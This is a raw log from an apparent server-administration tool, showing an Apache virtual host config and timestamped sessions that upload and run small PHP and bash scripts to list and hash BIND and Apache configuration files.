    ServerName	stage.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/mnt/internal/www/theyoungdesigners_stage/public
    <Directory /mnt/internal/www/theyoungdesigners_stage>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/www_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	stage.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/71986a4933a5df06d6ba64d41a00e6e1.crt
    DocumentRoot	/mnt/internal/www/theyoungdesigners_stage/public
    <Directory /mnt/internal/www/theyoungdesigners_stage/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/stage_secure_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/stage_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







(gzipped output)


MD5(/etc/apache2/ports.conf)= e0eadfd8b9250d90d5c3004171eb78f6
MD5(/etc/apache2/apache2.conf)= 354c9e6d2b88a0a3e0548f853840674c
MD5(/etc/apache2/sites-available/000-default.conf)= 45ed6a20d7ff26b62d873585bc1b42ca
MD5(/etc/apache2/sites-available/cityelectric_www_online.conf)= 98a5766b5fedd44b564deeae2b7f4597
MD5(/etc/ssl/certs/58e746b88fcdd674270ef29574194035.crt)= 022cdad52e685522d13d48e47c3c5686
MD5(/etc/apache2/sites-available/pjy_home_us.conf)= b92aff1e8d83db409d859ecc91bbe2ea
MD5(/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb)= f963d8be4e8e152608df4d332ae8baac
MD5(/etc/apache2/sites-available/theyoungdesigners_stage.conf)= 1516a9c3e0f6707ee8508f17374a4965
MD5(/etc/ssl/certs/71986a4933a5df06d6ba64d41a00e6e1.crt)= 4597293e5e5b7bd844d9dbd7b3d6716f
MD5(/etc/apache2/sites-available/hopeinstoughton_cdn4_org.conf)= 40743bf141b7da55b55cc9e1aa210026
MD5(/etc/ssl/certs/33c1aca709cdbd6de954e7f75b205eb8.crt)= 759baffaace18b45ac7ec522479e51d6
MD5(/etc/apache2/sites-available/default-ssl.conf)= 58d23841f0ea37f6c3c1f1c7bda9c6d7
MD5(/etc/ssl/certs/ssl-cert-snakeoil.pem)= ca34edd674c003e68e65b9ddf3a5583b
MD5(/etc/apache2/sites-available/pjy_alive_us.conf)= 20ebcb6394b5828a3297798e46e87e57
MD5(/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb)= f963d8be4e8e152608df4d332ae8baac
link(/etc/apache2/sites-enabled/000-default.conf)= /etc/apache2/sites-available/000-default.conf
link(/etc/apache2/sites-enabled/cityelectric_www_online.conf)= /etc/apache2/sites-available/cityelectric_www_online.conf
link(/etc/apache2/sites-enabled/pjy_home_us.conf)= /etc/apache2/sites-available/pjy_home_us.conf
link(/etc/apache2/sites-enabled/theyoungdesigners_stage.conf)= /etc/apache2/sites-available/theyoungdesigners_stage.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf)= /etc/apache2/sites-available/hopeinstoughton_cdn4_org.conf
link(/etc/apache2/sites-enabled/pjy_alive_us.conf)= /etc/apache2/sites-available/pjy_alive_us.conf




STDERR:
/tmp/pkp607662:12: SyntaxWarning: invalid escape sequence '\s'
  match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)


2025-11-18 16:32:25: Establishing a remote connection
2025-11-18 16:32:30: Establishing a connection
2025-11-18 16:32:30: 

PUT: /tmp/pkp436882

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2025-11-18 16:32:31: 

runuser -l bind -s /bin/bash -c '/tmp/pkp436882; rm /tmp/pkp436882'

2025-11-18 16:32:31: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 375a64f534f63b93f1dcfccf9cc415bd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 4280f8c05bc7ff45d1502e829357c0b2
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2025-11-18 16:32:46: Establishing a remote connection
2025-11-18 16:32:47: Establishing a remote connection
2025-11-18 16:32:47: 

PUT: /tmp/pkp843970

#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-11-18 16:32:47: 

chmod 755 /tmp/pkp843970; /tmp/pkp843970; rm /tmp/pkp843970





2025-11-18 16:32:50: Establishing a connection
2025-11-18 16:32:50: Establishing a connection
2025-11-18 16:32:50: 

PUT: /tmp/pkp513614

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2025-11-18 16:32:50: 

runuser -l bind -s /bin/bash -c '/tmp/pkp513614; rm /tmp/pkp513614'

2025-11-18 16:32:50: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 375a64f534f63b93f1dcfccf9cc415bd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
